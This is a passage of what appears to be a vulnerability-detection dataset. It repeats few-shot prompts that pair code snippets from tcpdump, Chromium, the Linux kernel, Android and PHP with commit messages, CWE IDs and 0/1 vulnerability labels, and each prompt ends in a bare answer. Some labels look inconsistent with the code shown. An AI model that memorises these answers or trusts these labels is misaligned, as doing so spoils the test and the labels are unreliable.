ND_PRINT((ndo, " ss-request")); else { int rc, parsed_len = 3; u_char ae, plen, src_plen, prefix[16], src_prefix[16]; ND_PRINT((ndo, "\n\tSS-Request ")); if(len < 3) goto invalid; ae = message[2]; plen = message[3]; src_plen = message[4]; rc = network_prefix(ae, plen, 0, message + 2 + parsed_len, NULL, len - parsed_len, prefix); if(rc < 0) goto invalid; if(ae == 1) plen += 96; parsed_len += rc; rc = network_prefix(ae, src_plen, 0, message + 2 + parsed_len, NULL, len - parsed_len, src_prefix); if(rc < 0) goto invalid; if(ae == 1) src_plen += 96; parsed_len += rc; if(ae == 0) { ND_PRINT((ndo, "for any")); } else { ND_PRINT((ndo, "for (%s, ", format_prefix(ndo, prefix, plen))); ND_PRINT((ndo, "%s)", format_prefix(ndo, src_prefix, src_plen))); } } } break; case MESSAGE_MH_REQUEST_SRC_SPECIFIC : { if(!ndo->ndo_vflag) ND_PRINT((ndo, " ss-mh-request")); else { int rc, parsed_len = 14; u_short seqno; u_char ae, plen, src_plen, prefix[16], src_prefix[16], hopc; const u_char *router_id = NULL; ND_PRINT((ndo, "\n\tSS-MH-Request ")); if(len < 14) goto invalid; ae = message[2]; plen = message[3]; seqno = EXTRACT_16BITS(message + 4); hopc = message[6]; src_plen = message[7]; router_id = message + 8; rc = network_prefix(ae, plen, 0, message + 2 + parsed_len, NULL, len - parsed_len, prefix); if(rc < 0) goto invalid; if(ae == 1) plen += 96; parsed_len += rc; rc = network_prefix(ae, src_plen, 0, message + 2 + parsed_len, NULL, len - parsed_len, src_prefix); if(rc < 0) goto invalid; if(ae == 1) src_plen += 96; ND_PRINT((ndo, "(%u hops) for (%s, ", hopc, format_prefix(ndo, prefix, plen))); ND_PRINT((ndo, "%s) seqno %u id %s", format_prefix(ndo, src_prefix, src_plen), seqno, format_id(router_id))); } } break; default: if (!ndo->ndo_vflag) ND_PRINT((ndo, " unknown")); else ND_PRINT((ndo, "\n\tUnknown message type %d", type)); } i += len + 2; } return; trunc: ND_PRINT((ndo, " %s", tstr)); return; invalid: ND_PRINT((ndo, "%s", istr)); return; } Commit Message: (for 4.9.3) CVE-2018-14470/Babel: fix an existing length check In babel_print_v2() the non-verbose branch for an Update TLV compared the TLV Length against 1 instead of 10 (probably a typo), put it right. This fixes a buffer over-read discovered by Henri Salo from Nixu Corporation. Add a test using the capture file supplied by the reporter(s). CWE ID: CWE-125 Target: 1 Example 2: Code: DictionaryValue* ClientCommandToValue(const sync_pb::ClientCommand& proto) { DictionaryValue* value = new DictionaryValue(); SET_INT32(set_sync_poll_interval); SET_INT32(set_sync_long_poll_interval); SET_INT32(max_commit_batch_size); SET_INT32(sessions_commit_delay_seconds); SET_INT32(throttle_delay_seconds); return value; } Commit Message: [Sync] Cleanup all tab sync enabling logic now that its on by default. BUG=none TEST= Review URL: https://chromiumcodereview.appspot.com/10443046 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@139462 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-362 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void AddPasswordsAndFormsStrings(content::WebUIDataSource* html_source) { LocalizedString localized_strings[] = { {"passwordsAndAutofillPageTitle", IDS_SETTINGS_PASSWORDS_AND_AUTOFILL_PAGE_TITLE}, {"autofill", IDS_SETTINGS_AUTOFILL}, {"googlePayments", IDS_SETTINGS_GOOGLE_PAYMENTS}, {"googlePaymentsCached", IDS_SETTINGS_GOOGLE_PAYMENTS_CACHED}, {"addresses", IDS_SETTINGS_AUTOFILL_ADDRESSES_HEADING}, {"addAddressTitle", IDS_SETTINGS_AUTOFILL_ADDRESSES_ADD_TITLE}, {"editAddressTitle", IDS_SETTINGS_AUTOFILL_ADDRESSES_EDIT_TITLE}, {"addressCountry", IDS_SETTINGS_AUTOFILL_ADDRESSES_COUNTRY}, {"addressPhone", IDS_SETTINGS_AUTOFILL_ADDRESSES_PHONE}, {"addressEmail", IDS_SETTINGS_AUTOFILL_ADDRESSES_EMAIL}, {"removeAddress", IDS_SETTINGS_ADDRESS_REMOVE}, {"creditCards", IDS_SETTINGS_AUTOFILL_CREDIT_CARD_HEADING}, {"removeCreditCard", IDS_SETTINGS_CREDIT_CARD_REMOVE}, {"clearCreditCard", IDS_SETTINGS_CREDIT_CARD_CLEAR}, {"creditCardType", IDS_SETTINGS_AUTOFILL_CREDIT_CARD_TYPE_COLUMN_LABEL}, {"creditCardExpiration", IDS_SETTINGS_CREDIT_CARD_EXPIRATION_DATE}, {"creditCardName", IDS_SETTINGS_NAME_ON_CREDIT_CARD}, {"creditCardNumber", IDS_SETTINGS_CREDIT_CARD_NUMBER}, {"creditCardExpirationMonth", IDS_SETTINGS_CREDIT_CARD_EXPIRATION_MONTH}, {"creditCardExpirationYear", IDS_SETTINGS_CREDIT_CARD_EXPIRATION_YEAR}, {"creditCardExpired", IDS_SETTINGS_CREDIT_CARD_EXPIRED}, {"editCreditCardTitle", IDS_SETTINGS_EDIT_CREDIT_CARD_TITLE}, {"addCreditCardTitle", IDS_SETTINGS_ADD_CREDIT_CARD_TITLE}, {"autofillDetail", IDS_SETTINGS_AUTOFILL_DETAIL}, {"passwords", IDS_SETTINGS_PASSWORDS}, {"passwordsAutosigninLabel", IDS_SETTINGS_PASSWORDS_AUTOSIGNIN_CHECKBOX_LABEL}, {"passwordsAutosigninDescription", IDS_SETTINGS_PASSWORDS_AUTOSIGNIN_CHECKBOX_DESC}, {"passwordsDetail", IDS_SETTINGS_PASSWORDS_DETAIL}, {"savedPasswordsHeading", IDS_SETTINGS_PASSWORDS_SAVED_HEADING}, {"passwordExceptionsHeading", IDS_SETTINGS_PASSWORDS_EXCEPTIONS_HEADING}, {"deletePasswordException", IDS_SETTINGS_PASSWORDS_DELETE_EXCEPTION}, {"removePassword", IDS_SETTINGS_PASSWORD_REMOVE}, {"searchPasswords", IDS_SETTINGS_PASSWORD_SEARCH}, {"showPassword", IDS_SETTINGS_PASSWORD_SHOW}, {"hidePassword", IDS_SETTINGS_PASSWORD_HIDE}, {"passwordDetailsTitle", IDS_SETTINGS_PASSWORDS_VIEW_DETAILS_TITLE}, {"passwordViewDetails", IDS_SETTINGS_PASSWORD_DETAILS}, {"editPasswordWebsiteLabel", IDS_SETTINGS_PASSWORDS_WEBSITE}, {"editPasswordUsernameLabel", IDS_SETTINGS_PASSWORDS_USERNAME}, {"editPasswordPasswordLabel", IDS_SETTINGS_PASSWORDS_PASSWORD}, {"noAddressesFound", IDS_SETTINGS_ADDRESS_NONE}, {"noCreditCardsFound", IDS_SETTINGS_CREDIT_CARD_NONE}, {"noCreditCardsPolicy", IDS_SETTINGS_CREDIT_CARD_DISABLED}, {"noPasswordsFound", IDS_SETTINGS_PASSWORDS_NONE}, {"noExceptionsFound", IDS_SETTINGS_PASSWORDS_EXCEPTIONS_NONE}, {"import", IDS_PASSWORD_MANAGER_IMPORT_BUTTON}, {"exportMenuItem", IDS_SETTINGS_PASSWORDS_EXPORT_MENU_ITEM}, {"undoRemovePassword", IDS_SETTINGS_PASSWORD_UNDO}, {"passwordDeleted", IDS_SETTINGS_PASSWORD_DELETED_PASSWORD}, {"exportPasswordsTitle", IDS_SETTINGS_PASSWORDS_EXPORT_TITLE}, {"exportPasswordsDescription", IDS_SETTINGS_PASSWORDS_EXPORT_DESCRIPTION}, {"exportPasswords", IDS_SETTINGS_PASSWORDS_EXPORT}, {"exportingPasswordsTitle", IDS_SETTINGS_PASSWORDS_EXPORTING_TITLE}, {"exportPasswordsTryAgain", IDS_SETTINGS_PASSWORDS_EXPORT_TRY_AGAIN}, {"exportPasswordsFailTitle", IDS_SETTINGS_PASSWORDS_EXPORTING_FAILURE_TITLE}, {"exportPasswordsFailTips", IDS_SETTINGS_PASSWORDS_EXPORTING_FAILURE_TIPS}, {"exportPasswordsFailTipsEnoughSpace", IDS_SETTINGS_PASSWORDS_EXPORTING_FAILURE_TIP_ENOUGH_SPACE}, {"exportPasswordsFailTipsAnotherFolder", IDS_SETTINGS_PASSWORDS_EXPORTING_FAILURE_TIP_ANOTHER_FOLDER}}; html_source->AddString( "managePasswordsLabel", l10n_util::GetStringFUTF16( IDS_SETTINGS_PASSWORDS_MANAGE_PASSWORDS, base::ASCIIToUTF16( password_manager::kPasswordManagerAccountDashboardURL))); html_source->AddString("passwordManagerLearnMoreURL", chrome::kPasswordManagerLearnMoreURL); html_source->AddString("manageAddressesUrl", autofill::payments::GetManageAddressesUrl(0).spec()); html_source->AddString("manageCreditCardsUrl", autofill::payments::GetManageInstrumentsUrl(0).spec()); AddLocalizedStringsBulk(html_source, localized_strings, arraysize(localized_strings)); } Commit Message: [md-settings] Clarify Password Saving and Autofill Toggles This change clarifies the wording around the password saving and autofill toggles. Bug: 822465 Cq-Include-Trybots: master.tryserver.chromium.linux:closure_compilation Change-Id: I91b31fe61cd0754239f7908e8c04c7e69b72f670 Reviewed-on: https://chromium-review.googlesource.com/970541 Commit-Queue: Jan Wilken Dörrie <[email protected]> Reviewed-by: Vaclav Brozek <[email protected]> Reviewed-by: Jochen Eisinger <[email protected]> Cr-Commit-Position: refs/heads/master@{#544661} CWE ID: CWE-200 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void HostCache::clear() { DCHECK_CALLED_ON_VALID_THREAD(thread_checker_); RecordEraseAll(ERASE_CLEAR, base::TimeTicks::Now()); entries_.clear(); } Commit Message: Add PersistenceDelegate to HostCache PersistenceDelegate is a new interface for persisting the contents of the HostCache. This commit includes the interface itself, the logic in HostCache for interacting with it, and a mock implementation of the interface for testing. It does not include support for immediate data removal since that won't be needed for the currently planned use case. BUG=605149 Review-Url: https://codereview.chromium.org/2943143002 Cr-Commit-Position: refs/heads/master@{#481015} CWE ID: Target: 1 Example 2: Code: void WebContentsImpl::UpdateMaxPageID(int32 page_id) { UpdateMaxPageIDForSiteInstance(GetSiteInstance(), page_id); } Commit Message: Cancel JavaScript dialogs when an interstitial appears. BUG=295695 TEST=See bug for repro steps. Review URL: https://chromiumcodereview.appspot.com/24360011 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@225026 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void __unmap_hugepage_range_final(struct mmu_gather *tlb, struct vm_area_struct *vma, unsigned long start, unsigned long end, struct page *ref_page) { __unmap_hugepage_range(tlb, vma, start, end, ref_page); /* * Clear this flag so that x86's huge_pmd_share page_table_shareable * test will fail on a vma being torn down, and not grab a page table * on its way out. We're lucky that the flag has such an appropriate * name, and can in fact be safely cleared here. We could clear it * before the __unmap_hugepage_range above, but all that's necessary * is to clear it before releasing the i_mmap_rwsem. This works * because in the context this is called, the VMA is about to be * destroyed and the i_mmap_rwsem is held. */ vma->vm_flags &= ~VM_MAYSHARE; } Commit Message: userfaultfd: hugetlbfs: prevent UFFDIO_COPY to fill beyond the end of i_size This oops: kernel BUG at fs/hugetlbfs/inode.c:484! RIP: remove_inode_hugepages+0x3d0/0x410 Call Trace: hugetlbfs_setattr+0xd9/0x130 notify_change+0x292/0x410 do_truncate+0x65/0xa0 do_sys_ftruncate.constprop.3+0x11a/0x180 SyS_ftruncate+0xe/0x10 tracesys+0xd9/0xde was caused by the lack of i_size check in hugetlb_mcopy_atomic_pte. mmap() can still succeed beyond the end of the i_size after vmtruncate zapped vmas in those ranges, but the faults must not succeed, and that includes UFFDIO_COPY. We could differentiate the retval to userland to represent a SIGBUS like a page fault would do (vs SIGSEGV), but it doesn't seem very useful and we'd need to pick a random retval as there's no meaningful syscall retval that would differentiate from SIGSEGV and SIGBUS, there's just -EFAULT. Link: http://lkml.kernel.org/r/[email protected] Signed-off-by: Andrea Arcangeli <[email protected]> Reviewed-by: Mike Kravetz <[email protected]> Cc: Mike Rapoport <[email protected]> Cc: "Dr. David Alan Gilbert" <[email protected]> Cc: <[email protected]> Signed-off-by: Andrew Morton <[email protected]> Signed-off-by: Linus Torvalds <[email protected]> CWE ID: CWE-119 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: status_t OMXNodeInstance::emptyBuffer( OMX::buffer_id buffer, OMX_U32 rangeOffset, OMX_U32 rangeLength, OMX_U32 flags, OMX_TICKS timestamp, int fenceFd) { Mutex::Autolock autoLock(mLock); OMX_BUFFERHEADERTYPE *header = findBufferHeader(buffer, kPortIndexInput); if (header == NULL) { ALOGE("b/25884056"); return BAD_VALUE; } BufferMeta *buffer_meta = static_cast<BufferMeta *>(header->pAppPrivate); sp<ABuffer> backup = buffer_meta->getBuffer(header, true /* backup */, false /* limit */); sp<ABuffer> codec = buffer_meta->getBuffer(header, false /* backup */, false /* limit */); if (mMetadataType[kPortIndexInput] == kMetadataBufferTypeGrallocSource && backup->capacity() >= sizeof(VideoNativeMetadata) && codec->capacity() >= sizeof(VideoGrallocMetadata) && ((VideoNativeMetadata *)backup->base())->eType == kMetadataBufferTypeANWBuffer) { VideoNativeMetadata &backupMeta = *(VideoNativeMetadata *)backup->base(); VideoGrallocMetadata &codecMeta = *(VideoGrallocMetadata *)codec->base(); CLOG_BUFFER(emptyBuffer, "converting ANWB %p to handle %p", backupMeta.pBuffer, backupMeta.pBuffer->handle); codecMeta.pHandle = backupMeta.pBuffer != NULL ? backupMeta.pBuffer->handle : NULL; codecMeta.eType = kMetadataBufferTypeGrallocSource; header->nFilledLen = rangeLength ? sizeof(codecMeta) : 0; header->nOffset = 0; } else { if (rangeOffset > header->nAllocLen || rangeLength > header->nAllocLen - rangeOffset) { CLOG_ERROR(emptyBuffer, OMX_ErrorBadParameter, FULL_BUFFER(NULL, header, fenceFd)); if (fenceFd >= 0) { ::close(fenceFd); } return BAD_VALUE; } header->nFilledLen = rangeLength; header->nOffset = rangeOffset; buffer_meta->CopyToOMX(header); } return emptyBuffer_l(header, flags, timestamp, (intptr_t)buffer, fenceFd); } Commit Message: DO NOT MERGE: IOMX: work against metadata buffer spoofing - Prohibit direct set/getParam/Settings for extensions meant for OMXNodeInstance alone. This disallows enabling metadata mode without the knowledge of OMXNodeInstance. - Use a backup buffer for metadata mode buffers and do not directly share with clients. - Disallow setting up metadata mode/tunneling/input surface after first sendCommand. - Disallow store-meta for input cross process. - Disallow emptyBuffer for surface input (via IOMX). - Fix checking for input surface. Bug: 29422020 Change-Id: I801c77b80e703903f62e42d76fd2e76a34e4bc8e (cherry picked from commit 7c3c2fa3e233c656fc8c2fc2a6634b3ecf8a23e8) CWE ID: CWE-200 Target: 1 Example 2: Code: static unsigned int hns_nic_get_headlen(unsigned char *data, u32 flag, unsigned int max_size) { unsigned char *network; u8 hlen; /* this should never happen, but better safe than sorry */ if (max_size < ETH_HLEN) return max_size; /* initialize network frame pointer */ network = data; /* set first protocol and move network header forward */ network += ETH_HLEN; /* handle any vlan tag if present */ if (hnae_get_field(flag, HNS_RXD_VLAN_M, HNS_RXD_VLAN_S) == HNS_RX_FLAG_VLAN_PRESENT) { if ((typeof(max_size))(network - data) > (max_size - VLAN_HLEN)) return max_size; network += VLAN_HLEN; } /* handle L3 protocols */ if (hnae_get_field(flag, HNS_RXD_L3ID_M, HNS_RXD_L3ID_S) == HNS_RX_FLAG_L3ID_IPV4) { if ((typeof(max_size))(network - data) > (max_size - sizeof(struct iphdr))) return max_size; /* access ihl as a u8 to avoid unaligned access on ia64 */ hlen = (network[0] & 0x0F) << 2; /* verify hlen meets minimum size requirements */ if (hlen < sizeof(struct iphdr)) return network - data; /* record next protocol if header is present */ } else if (hnae_get_field(flag, HNS_RXD_L3ID_M, HNS_RXD_L3ID_S) == HNS_RX_FLAG_L3ID_IPV6) { if ((typeof(max_size))(network - data) > (max_size - sizeof(struct ipv6hdr))) return max_size; /* record next protocol */ hlen = sizeof(struct ipv6hdr); } else { return network - data; } /* relocate pointer to start of L4 header */ network += hlen; /* finally sort out TCP/UDP */ if (hnae_get_field(flag, HNS_RXD_L4ID_M, HNS_RXD_L4ID_S) == HNS_RX_FLAG_L4ID_TCP) { if ((typeof(max_size))(network - data) > (max_size - sizeof(struct tcphdr))) return max_size; /* access doff as a u8 to avoid unaligned access on ia64 */ hlen = (network[12] & 0xF0) >> 2; /* verify hlen meets minimum size requirements */ if (hlen < sizeof(struct tcphdr)) return network - data; network += hlen; } else if (hnae_get_field(flag, HNS_RXD_L4ID_M, HNS_RXD_L4ID_S) == HNS_RX_FLAG_L4ID_UDP) { if ((typeof(max_size))(network - data) > (max_size - sizeof(struct udphdr))) return max_size; network += sizeof(struct udphdr); } /* If everything has gone correctly network should be the * data section of the packet and will be the end of the header. * If not then it probably represents the end of the last recognized * header. */ if ((typeof(max_size))(network - data) < max_size) return network - data; else return max_size; } Commit Message: net: hns: Fix a skb used after free bug skb maybe freed in hns_nic_net_xmit_hw() and return NETDEV_TX_OK, which cause hns_nic_net_xmit to use a freed skb. BUG: KASAN: use-after-free in hns_nic_net_xmit_hw+0x62c/0x940... [17659.112635] alloc_debug_processing+0x18c/0x1a0 [17659.117208] __slab_alloc+0x52c/0x560 [17659.120909] kmem_cache_alloc_node+0xac/0x2c0 [17659.125309] __alloc_skb+0x6c/0x260 [17659.128837] tcp_send_ack+0x8c/0x280 [17659.132449] __tcp_ack_snd_check+0x9c/0xf0 [17659.136587] tcp_rcv_established+0x5a4/0xa70 [17659.140899] tcp_v4_do_rcv+0x27c/0x620 [17659.144687] tcp_prequeue_process+0x108/0x170 [17659.149085] tcp_recvmsg+0x940/0x1020 [17659.152787] inet_recvmsg+0x124/0x180 [17659.156488] sock_recvmsg+0x64/0x80 [17659.160012] SyS_recvfrom+0xd8/0x180 [17659.163626] __sys_trace_return+0x0/0x4 [17659.167506] INFO: Freed in kfree_skbmem+0xa0/0xb0 age=23 cpu=1 pid=13 [17659.174000] free_debug_processing+0x1d4/0x2c0 [17659.178486] __slab_free+0x240/0x390 [17659.182100] kmem_cache_free+0x24c/0x270 [17659.186062] kfree_skbmem+0xa0/0xb0 [17659.189587] __kfree_skb+0x28/0x40 [17659.193025] napi_gro_receive+0x168/0x1c0 [17659.197074] hns_nic_rx_up_pro+0x58/0x90 [17659.201038] hns_nic_rx_poll_one+0x518/0xbc0 [17659.205352] hns_nic_common_poll+0x94/0x140 [17659.209576] net_rx_action+0x458/0x5e0 [17659.213363] __do_softirq+0x1b8/0x480 [17659.217062] run_ksoftirqd+0x64/0x80 [17659.220679] smpboot_thread_fn+0x224/0x310 [17659.224821] kthread+0x150/0x170 [17659.228084] ret_from_fork+0x10/0x40 BUG: KASAN: use-after-free in hns_nic_net_xmit+0x8c/0xc0... [17751.080490] __slab_alloc+0x52c/0x560 [17751.084188] kmem_cache_alloc+0x244/0x280 [17751.088238] __build_skb+0x40/0x150 [17751.091764] build_skb+0x28/0x100 [17751.095115] __alloc_rx_skb+0x94/0x150 [17751.098900] __napi_alloc_skb+0x34/0x90 [17751.102776] hns_nic_rx_poll_one+0x180/0xbc0 [17751.107097] hns_nic_common_poll+0x94/0x140 [17751.111333] net_rx_action+0x458/0x5e0 [17751.115123] __do_softirq+0x1b8/0x480 [17751.118823] run_ksoftirqd+0x64/0x80 [17751.122437] smpboot_thread_fn+0x224/0x310 [17751.126575] kthread+0x150/0x170 [17751.129838] ret_from_fork+0x10/0x40 [17751.133454] INFO: Freed in kfree_skbmem+0xa0/0xb0 age=19 cpu=7 pid=43 [17751.139951] free_debug_processing+0x1d4/0x2c0 [17751.144436] __slab_free+0x240/0x390 [17751.148051] kmem_cache_free+0x24c/0x270 [17751.152014] kfree_skbmem+0xa0/0xb0 [17751.155543] __kfree_skb+0x28/0x40 [17751.159022] napi_gro_receive+0x168/0x1c0 [17751.163074] hns_nic_rx_up_pro+0x58/0x90 [17751.167041] hns_nic_rx_poll_one+0x518/0xbc0 [17751.171358] hns_nic_common_poll+0x94/0x140 [17751.175585] net_rx_action+0x458/0x5e0 [17751.179373] __do_softirq+0x1b8/0x480 [17751.183076] run_ksoftirqd+0x64/0x80 [17751.186691] smpboot_thread_fn+0x224/0x310 [17751.190826] kthread+0x150/0x170 [17751.194093] ret_from_fork+0x10/0x40 Fixes: 13ac695e7ea1 ("net:hns: Add support of Hip06 SoC to the Hislicon Network Subsystem") Signed-off-by: Yunsheng Lin <[email protected]> Signed-off-by: lipeng <[email protected]> Reported-by: Jun He <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-416 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int crypto_rng_init_tfm(struct crypto_tfm *tfm) { struct crypto_rng *rng = __crypto_rng_cast(tfm); struct rng_alg *alg = crypto_rng_alg(rng); struct old_rng_alg *oalg = crypto_old_rng_alg(rng); if (oalg->rng_make_random) { rng->generate = generate; rng->seed = rngapi_reset; rng->seedsize = oalg->seedsize; return 0; } rng->generate = alg->generate; rng->seed = alg->seed; rng->seedsize = alg->seedsize; return 0; } Commit Message: crypto: rng - Remove old low-level rng interface Now that all rng implementations have switched over to the new interface, we can remove the old low-level interface. Signed-off-by: Herbert Xu <[email protected]> CWE ID: CWE-476 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: ikev2_ke_print(netdissect_options *ndo, u_char tpay, const struct isakmp_gen *ext, u_int item_len _U_, const u_char *ep _U_, uint32_t phase _U_, uint32_t doi _U_, uint32_t proto _U_, int depth _U_) { struct ikev2_ke ke; const struct ikev2_ke *k; k = (const struct ikev2_ke *)ext; ND_TCHECK(*ext); UNALIGNED_MEMCPY(&ke, ext, sizeof(ke)); ikev2_pay_print(ndo, NPSTR(tpay), ke.h.critical); ND_PRINT((ndo," len=%u group=%s", ntohs(ke.h.len) - 8, STR_OR_ID(ntohs(ke.ke_group), dh_p_map))); if (2 < ndo->ndo_vflag && 8 < ntohs(ke.h.len)) { ND_PRINT((ndo," ")); if (!rawprint(ndo, (const uint8_t *)(k + 1), ntohs(ke.h.len) - 8)) goto trunc; } return (const u_char *)ext + ntohs(ke.h.len); trunc: ND_PRINT((ndo," [|%s]", NPSTR(tpay))); return NULL; } Commit Message: CVE-2017-13690/IKEv2: Fix some bounds checks. Use a pointer of the correct type in ND_TCHECK(), or use ND_TCHECK2() and provide the correct length. While we're at it, remove the blank line between some checks and the UNALIGNED_MEMCPY()s they protect. Also, note the places where we print the entire payload. This fixes a buffer over-read discovered by Bhargava Shastry, SecT/TU Berlin. Add a test using the capture file supplied by the reporter(s). CWE ID: CWE-125 Target: 1 Example 2: Code: bool ndp_msgna_flag_solicited(struct ndp_msgna *msgna) { return msgna->na->nd_na_flags_reserved & ND_NA_FLAG_SOLICITED; } Commit Message: libndp: validate the IPv6 hop limit None of the NDP messages should ever come from a non-local network; as stated in RFC4861's 6.1.1 (RS), 6.1.2 (RA), 7.1.1 (NS), 7.1.2 (NA), and 8.1. (redirect): - The IP Hop Limit field has a value of 255, i.e., the packet could not possibly have been forwarded by a router. This fixes CVE-2016-3698. Reported by: Julien BERNARD <[email protected]> Signed-off-by: Lubomir Rintel <[email protected]> Signed-off-by: Jiri Pirko <[email protected]> CWE ID: CWE-284 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: PHP_NAMED_FUNCTION(zif_locale_set_default) { char* locale_name = NULL; int len=0; if(zend_parse_parameters( ZEND_NUM_ARGS() TSRMLS_CC, "s", &locale_name ,&len ) == FAILURE) { intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR, "locale_set_default: unable to parse input params", 0 TSRMLS_CC ); RETURN_FALSE; } if(len == 0) { locale_name = (char *)uloc_getDefault() ; len = strlen(locale_name); } zend_alter_ini_entry(LOCALE_INI_NAME, sizeof(LOCALE_INI_NAME), locale_name, len, PHP_INI_USER, PHP_INI_STAGE_RUNTIME); RETURN_TRUE; } Commit Message: Fix bug #72241: get_icu_value_internal out-of-bounds read CWE ID: CWE-125 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static int raw_cmd_copyin(int cmd, void __user *param, struct floppy_raw_cmd **rcmd) { struct floppy_raw_cmd *ptr; int ret; int i; *rcmd = NULL; loop: ptr = kmalloc(sizeof(struct floppy_raw_cmd), GFP_USER); if (!ptr) return -ENOMEM; *rcmd = ptr; ret = copy_from_user(ptr, param, sizeof(*ptr)); if (ret) return -EFAULT; ptr->next = NULL; ptr->buffer_length = 0; param += sizeof(struct floppy_raw_cmd); if (ptr->cmd_count > 33) /* the command may now also take up the space * initially intended for the reply & the * reply count. Needed for long 82078 commands * such as RESTORE, which takes ... 17 command * bytes. Murphy's law #137: When you reserve * 16 bytes for a structure, you'll one day * discover that you really need 17... */ return -EINVAL; for (i = 0; i < 16; i++) ptr->reply[i] = 0; ptr->resultcode = 0; ptr->kernel_data = NULL; if (ptr->flags & (FD_RAW_READ | FD_RAW_WRITE)) { if (ptr->length <= 0) return -EINVAL; ptr->kernel_data = (char *)fd_dma_mem_alloc(ptr->length); fallback_on_nodma_alloc(&ptr->kernel_data, ptr->length); if (!ptr->kernel_data) return -ENOMEM; ptr->buffer_length = ptr->length; } if (ptr->flags & FD_RAW_WRITE) { ret = fd_copyin(ptr->data, ptr->kernel_data, ptr->length); if (ret) return ret; } if (ptr->flags & FD_RAW_MORE) { rcmd = &(ptr->next); ptr->rate &= 0x43; goto loop; } return 0; } Commit Message: floppy: ignore kernel-only members in FDRAWCMD ioctl input Always clear out these floppy_raw_cmd struct members after copying the entire structure from userspace so that the in-kernel version is always valid and never left in an interdeterminate state. Signed-off-by: Matthew Daley <[email protected]> Signed-off-by: Linus Torvalds <[email protected]> CWE ID: CWE-264 Target: 1 Example 2: Code: static int deliver_to_subscribers(struct snd_seq_client *client, struct snd_seq_event *event, int atomic, int hop) { struct snd_seq_subscribers *subs; int err, result = 0, num_ev = 0; struct snd_seq_event event_saved; struct snd_seq_client_port *src_port; struct snd_seq_port_subs_info *grp; src_port = snd_seq_port_use_ptr(client, event->source.port); if (src_port == NULL) return -EINVAL; /* invalid source port */ /* save original event record */ event_saved = *event; grp = &src_port->c_src; /* lock list */ if (atomic) read_lock(&grp->list_lock); else down_read(&grp->list_mutex); list_for_each_entry(subs, &grp->list_head, src_list) { event->dest = subs->info.dest; if (subs->info.flags & SNDRV_SEQ_PORT_SUBS_TIMESTAMP) /* convert time according to flag with subscription */ update_timestamp_of_queue(event, subs->info.queue, subs->info.flags & SNDRV_SEQ_PORT_SUBS_TIME_REAL); err = snd_seq_deliver_single_event(client, event, 0, atomic, hop); if (err < 0) { /* save first error that occurs and continue */ if (!result) result = err; continue; } num_ev++; /* restore original event record */ *event = event_saved; } if (atomic) read_unlock(&grp->list_lock); else up_read(&grp->list_mutex); *event = event_saved; /* restore */ snd_seq_port_unlock(src_port); return (result < 0) ? result : num_ev; } Commit Message: ALSA: seq: Fix missing NULL check at remove_events ioctl snd_seq_ioctl_remove_events() calls snd_seq_fifo_clear() unconditionally even if there is no FIFO assigned, and this leads to an Oops due to NULL dereference. The fix is just to add a proper NULL check. Reported-by: Dmitry Vyukov <[email protected]> Tested-by: Dmitry Vyukov <[email protected]> Cc: <[email protected]> Signed-off-by: Takashi Iwai <[email protected]> CWE ID: Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: TransformPaintPropertyNode* TransformPaintPropertyNode::Root() { DEFINE_STATIC_REF( TransformPaintPropertyNode, root, base::AdoptRef(new TransformPaintPropertyNode( nullptr, State{TransformationMatrix(), FloatPoint3D(), false, BackfaceVisibility::kVisible, 0, CompositingReason::kNone, CompositorElementId(), ScrollPaintPropertyNode::Root()}))); return root; } Commit Message: Reland "[CI] Make paint property nodes non-ref-counted" This reverts commit 887383b30842d9d9006e11bb6932660a3cb5b1b7. Reason for revert: Retry in M69. Original change's description: > Revert "[CI] Make paint property nodes non-ref-counted" > > This reverts commit 70fc0b018c9517558b7aa2be00edf2debb449123. > > Reason for revert: Caused bugs found by clusterfuzz > > Original change's description: > > [CI] Make paint property nodes non-ref-counted > > > > Now all paint property nodes are owned by ObjectPaintProperties > > (and LocalFrameView temporarily before removing non-RLS mode). > > Others just use raw pointers or references. > > > > Bug: 833496 > > Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2 > > Change-Id: I2d544fe153bb94698623248748df63c8aa2081ae > > Reviewed-on: https://chromium-review.googlesource.com/1031101 > > Reviewed-by: Tien-Ren Chen <[email protected]> > > Commit-Queue: Xianzhu Wang <[email protected]> > > Cr-Commit-Position: refs/heads/master@{#554626} > > [email protected],[email protected],[email protected] > > Change-Id: I02bb50d6744cb81a797246a0116b677e80a3c69f > No-Presubmit: true > No-Tree-Checks: true > No-Try: true > Bug: 833496,837932,837943 > Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2 > Reviewed-on: https://chromium-review.googlesource.com/1034292 > Reviewed-by: Xianzhu Wang <[email protected]> > 